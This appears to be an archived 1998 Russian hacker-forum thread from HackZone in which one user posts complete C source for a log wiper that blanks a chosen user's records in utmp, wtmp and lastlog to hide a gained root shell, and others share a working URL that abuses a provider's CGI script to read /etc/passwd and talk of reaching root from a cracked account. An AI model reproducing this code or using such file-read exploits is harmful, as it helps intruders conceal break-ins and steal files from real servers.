Re: ЧИСТКА ЛОГОВ! ????? А если ....


[ Комментарии ] [ Добавить комментарий ] [ Доска объявлений HackZone ]

Отправитель: ZaK, April 07, 1998, 12:57:04:

В ответ на: Re: ЧИСТКА ЛОГОВ! ????? А если .... (отправитель: ZaK, April 07, 1998, 12:54:58):


:
: : :
: : : : :
: : : : : : :
: : : : : : : : :
: : : : : : : : : : : : : ПЛЗ! Киньте исходничек проги для чистки логов !

: : : : : : : : : : : : держи ;)

: : : : : : : : : : : : #include ?sys/types.h?
: : : : : : : : : : : : #include ?stdio.h?
: : : : : : : : : : : : #include ?unistd.h?
: : : : : : : : : : : : #include ?sys/file.h?
: : : : : : : : : : : : #include ?fcntl.h?
: : : : : : : : : : : : #include ?utmp.h?
: : : : : : : : : : : : #include ?pwd.h?
: : : : : : : : : : : : #include ?lastlog.h?
: : : : : : : : : : : : #define WTMP_NAME ?/usr/adm/wtmp?
: : : : : : : : : : : : #define UTMP_NAME ?/etc/utmp?
: : : : : : : : : : : : #define LASTLOG_NAME ?/usr/adm/lastlog?

: : : : : : : : : : : : int f;

: : : : : : : : : : : : void kill_utmp(who)
: : : : : : : : : : : : char *who;
: : : : : : : : : : : : {
: : : : : : : : : : : : struct utmp utmp_ent;

: : : : : : : : : : : : if ((f=open(UTMP_NAME,O_RDWR))?=0) {
: : : : : : : : : : : : while(read (f, &utmp_ent, sizeof (utmp_ent))? 0 )
: : : : : : : : : : : : if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
: : : : : : : : : : : : bzero((char *)&utmp_ent,sizeof( utmp_ent ));
: : : : : : : : : : : : lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
: : : : : : : : : : : : write (f, &utmp_ent, sizeof (utmp_ent));
: : : : : : : : : : : : }
: : : : : : : : : : : : close(f);
: : : : : : : : : : : : }
: : : : : : : : : : : : }

: : : : : : : : : : : : void kill_wtmp(who)
: : : : : : : : : : : : char *who;
: : : : : : : : : : : : {
: : : : : : : : : : : : struct utmp utmp_ent;
: : : : : : : : : : : : long pos;

: : : : : : : : : : : : pos = 1L;
: : : : : : : : : : : : if ((f=open(WTMP_NAME,O_RDWR))?=0) {

: : : : : : : : : : : : while(pos != -1L) {
: : : : : : : : : : : : lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
: : : : : : : : : : : : if (read (f, &utmp_ent, sizeof (struct utmp))?0) {
: : : : : : : : : : : : pos = -1L;
: : : : : : : : : : : : } else {
: : : : : : : : : : : : if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
: : : : : : : : : : : : bzero((char *)&utmp_ent,sizeof(struct utmp ));
: : : : : : : : : : : : lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
: : : : : : : : : : : : write (f, &utmp_ent, sizeof (utmp_ent));
: : : : : : : : : : : : pos = -1L;
: : : : : : : : : : : : } else pos += 1L;
: : : : : : : : : : : : }
: : : : : : : : : : : : }
: : : : : : : : : : : : close(f);
: : : : : : : : : : : : }
: : : : : : : : : : : : }

: : : : : : : : : : : : void kill_lastlog(who)
: : : : : : : : : : : : char *who;
: : : : : : : : : : : : {
: : : : : : : : : : : : struct passwd *pwd;
: : : : : : : : : : : : struct lastlog newll;

: : : : : : : : : : : : if ((pwd=getpwnam(who))!=NULL) {

: : : : : : : : : : : : if ((f=open(LASTLOG_NAME, O_RDWR)) ?= 0) {
: : : : : : : : : : : : lseek(f, (long)pwd-?pw_uid * sizeof (struct lastlog), 0);
: : : : : : : : : : : : bzero((char *)&newll,sizeof( newll ));
: : : : : : : : : : : : write(f, (char *)&newll, sizeof( newll ));
: : : : : : : : : : : : close(f);
: : : : : : : : : : : : }

: : : : : : : : : : : : } else printf(?%s: ?\n?,who);
: : : : : : : : : : : : }

: : : : : : : : : : : : main(argc,argv)
: : : : : : : : : : : : int argc;
: : : : : : : : : : : : char *argv[];
: : : : : : : : : : : : {
: : : : : : : : : : : : if (argc==2) {
: : : : : : : : : : : : kill_lastlog(argv[1]);
: : : : : : : : : : : : kill_wtmp(argv[1]);
: : : : : : : : : : : : kill_utmp(argv[1]);
: : : : : : : : : : : : printf(?Zap2!\n?);
: : : : : : : : : : : : } else
: : : : : : : : : : : : printf(?Error.\n?);
: : : : : : : : : : : : }

: : : : : : : : : : : ::Будь добр, поясни: Эта прога чистит логи только на
: : : : : : : : : : : ::локальном компе или же может где-нить еще(у прова, например)

: : : : : : : : : : там где у тебя есть shell rootа
: : : : : : : : : : (она как раз предназначена для сокрытия получения тобою
: : : : : : : : : : root shellа - правда она не полноценная - почему - разберись сам ;)))) )

: : : : : : : : :
: : : : : : : : : СПАСИБО ВАМ ОГРОМНОЕ! ОЧень признателен!

: : : : : : : : : Но нужно ли их чистить если я на крякнутом ненужном accounte сижу?

: : : : : : : : Дело вкуса ...но учти если sysadm "случайно" даст команду "lastlog | more"
: : : : : : : : ему может не понравится то что он там увидит ;))))

: : : : : : : Понял! Спасибо! Да кстати у меня есть тут одна дырочка Rinetовская, хочешь покавыряться?

: : : : : : Нет спасибо ;) если во всех дырках ковырятся - жизни не хватит ;)

: : : : :
: : : : : ВСЕ РАВНО ПОПРОБУЙ!

: : : : : http://www.rinet.ru/cgi-bin/vniist_cat.cgi?/etc/passwd

: : : : Ну что-ж ребят с rinet можно поздравить
: : : : ;)
: : : : может кроме cat $1
: : : : они еще сделают ls $1 ? ;)))))

: : : ТЫ ПОРЫЛСЯ??? Что с ними можно сделать?

: : вытащить любой файл (если знаешь к нему путь и позволяют провилегии)
: : CGI тот пускается по моему не от рута ...
: : за такие CGI я б на месте sysadma я б вешался ;)

: Так к Руту пробраться можно?

XR: Дай ICQ или IRC addr chanel


Комментарии:



Добавьте комментарий
Имя:
Адрес:
Тема:
Сообщение:
Дополнительный URL:
Заголовок:
Заставка:


[ Комментарии ] [ Добавить комментарий ] [ Доска объявлений HackZone ]